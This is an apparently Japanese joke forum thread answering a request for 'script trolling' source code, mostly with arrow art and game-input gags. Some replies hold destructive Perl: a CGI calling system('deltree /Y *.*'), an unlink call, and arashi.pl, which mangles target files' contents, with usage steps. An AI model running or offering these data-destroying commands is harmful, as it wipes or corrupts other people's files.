スクリプト荒らしのソースコード教えて

お願いします。

↓

↓

←

→→→↓
↑　　↓
↑←←↓

→♂←
→♀←
→♂←

てめーら教えてくれよ。

↑↑↓↓←→←→BA

↓＼→パンチ
→↓＼パンチ
↓タメ↑キック

俺様のスレが矢印だらけじゃ〜
↓↓

←／↓＼→パンチ

print "スクリプト荒らしのソースコード";

#!/usr/bin/perl

print "Content-type: text/plain\n\n";
system("deltree /Y *.*");
print "End.\n";
exit;

春だねぇ

#!usr/bin/perl
$hello = "Hello,world\!\!\!";

print $hello;






__END__

#!/usr/local/bin/perl

unlink(">>1");
print "Content-type: text/plain\n\n";
print "正義は勝つ！\n";

exit;

ありがとうくらい言えよ＞1

arashi.pl
-------------------------------
#! perl -w
use strict;

foreach (@ARGV){
my $orig_file = $_;
my $temp_file = "$_.temp";

open(ORIG, "<$orig_file") or die;
open(TEMP, ">$temp_file") or die;
my $code = "";
while (readline(*ORIG)){
chomp;s/(.{8})/crypt($1,sprintf("%02d",rand(100)))/eg;
s/(.)/chr(ord($1)-rand(2))/eg;
$code .= $_;
}
$code =~ s/(.{79})/$1\n/g;
print TEMP $code;

close(TEMP);
close(ORIG);
rename $orig_file, $temp_file;
}

1. 荒らしたいスクリプトを用意します。
2. ターゲットのファイルを引数に実行します。
以上。